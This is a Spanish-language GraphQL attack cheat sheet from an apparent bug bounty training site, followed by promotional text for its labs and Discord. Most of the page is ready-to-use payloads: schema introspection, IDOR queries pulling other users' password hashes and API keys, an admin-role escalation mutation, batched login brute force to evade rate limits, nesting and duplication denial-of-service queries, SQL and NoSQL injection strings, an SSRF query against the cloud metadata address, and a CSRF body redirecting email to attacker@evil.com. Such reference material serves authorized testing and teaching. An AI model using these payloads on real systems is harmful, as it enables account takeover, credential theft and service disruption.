Cheatsheet GraphQL

Seguridad en APIs GraphQL

Referencia rápida

  • →Si la introspeccion esta deshabilitada, usar clairvoyance con wordlists para descubrir el schema
  • →Batch queries permiten bypass de rate limit enviando multiples operaciones en una request
  • →Aliases permiten enumerar IDs de otros usuarios sin enviar multiples requests HTTP
  • →Probar cambiar Content-Type a application/x-www-form-urlencoded para CSRF en GraphQL
  • →Los campos que no se muestran en el frontend pueden existir en el schema - siempre hacer introspeccion

Introspeccion y descubrimiento

Query de introspeccion completa

{__schema{types{name,fields{name,args{name,type{name}}}}}}

Introspeccion detallada

query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    types { name kind fields { name type { name kind ofType { name } } } }
  }
}

Buscar tipo especifico

{__type(name:"User"){name,fields{name,type{name}}}}

Listar directivas

{__schema{directives{name,description,locations}}}

Introspeccion deshabilitada - probeSi __typename funciona pero __schema no, la introspeccion esta parcialmente bloqueada

query { __typename }

IDOR y autorizacion

Acceder a datos de otro usuario

query { user(id: "victim-uuid") { email password role } }

Aliases para enumerar IDsAliases permiten multiples queries en una sola request

query {
  a: user(id: "1") { email }
  b: user(id: "2") { email }
  c: user(id: "3") { email }
}

Mutation sin autorizacion

mutation { updateUser(id: "victim-id", input: { role: "admin" }) { id role } }

Acceso a campos sensiblesEl schema puede exponer campos que no deberian ser accesibles

query { user(id: "my-id") { email passwordHash apiKey secretToken } }

Batch attacks y DoS

Batch query para brute forceBypass de rate limit: multiples logins en una sola request HTTP

[
  {"query": "mutation { login(email:\"admin@target.com\", password:\"pass1\") { token } }"},
  {"query": "mutation { login(email:\"admin@target.com\", password:\"pass2\") { token } }"},
  {"query": "mutation { login(email:\"admin@target.com\", password:\"pass3\") { token } }"}
]

Deep nesting DoSQueries profundamente anidadas pueden consumir recursos del servidor

query { user { posts { comments { author { posts { comments { author { name } } } } } } } }

Circular reference DoS

query { user { friends { friends { friends { friends { name } } } } } }

Field duplication1000 campos duplicados para sobrecargar el resolver

query { user { name name name name name name name name name name } }

Injection en GraphQL

SQLi en argumento

query { user(name: "admin' OR '1'='1") { id email } }

NoSQLi en filtro

query { users(filter: {email: {$ne: ""}}) { id email } }

SSRF via campo URL

mutation { importData(url: "http://169.254.169.254/latest/meta-data/") { result } }

CSRF en GraphQLSi el endpoint acepta urlencoded ademas de JSON

Content-Type: application/x-www-form-urlencoded
Body: query=mutation{changeEmail(email:"attacker@evil.com")}

Herramientas

GraphQL Voyager

Visualizador interactivo del schema GraphQL para entender la API

Cargar schema en https://graphql-kit.com/graphql-voyager/

InQL (Burp)

Extension de Burp para analisis automatizado de endpoints GraphQL

Burp Suite > Extensions > InQL > Point to /graphql

graphql-cop

Auditor de seguridad GraphQL que detecta misconfigurations comunes

python3 graphql-cop.py -t https://target.com/graphql

clairvoyance

Obtener schema GraphQL cuando la introspeccion esta deshabilitada

python3 -m clairvoyance -u https://target.com/graphql -w wordlist.txt

¿Listo para practicar?

Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.

Ver labs de práctica
650

hunters entrenando

50

labs de hackeos reales

380

completaciones

$12.000

pagados por estos bugs

40 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis
Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

BBLabs · bug bounty en español

Deja de leer sobre bugs y empieza a cazarlos

Crea tu cuenta gratis y practica sobre labs basados en hackeos reales que pagaron miles de euros. La Academy es gratis para siempre.

Sin tarjeta · Academy gratis · cancela cuando quieras

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.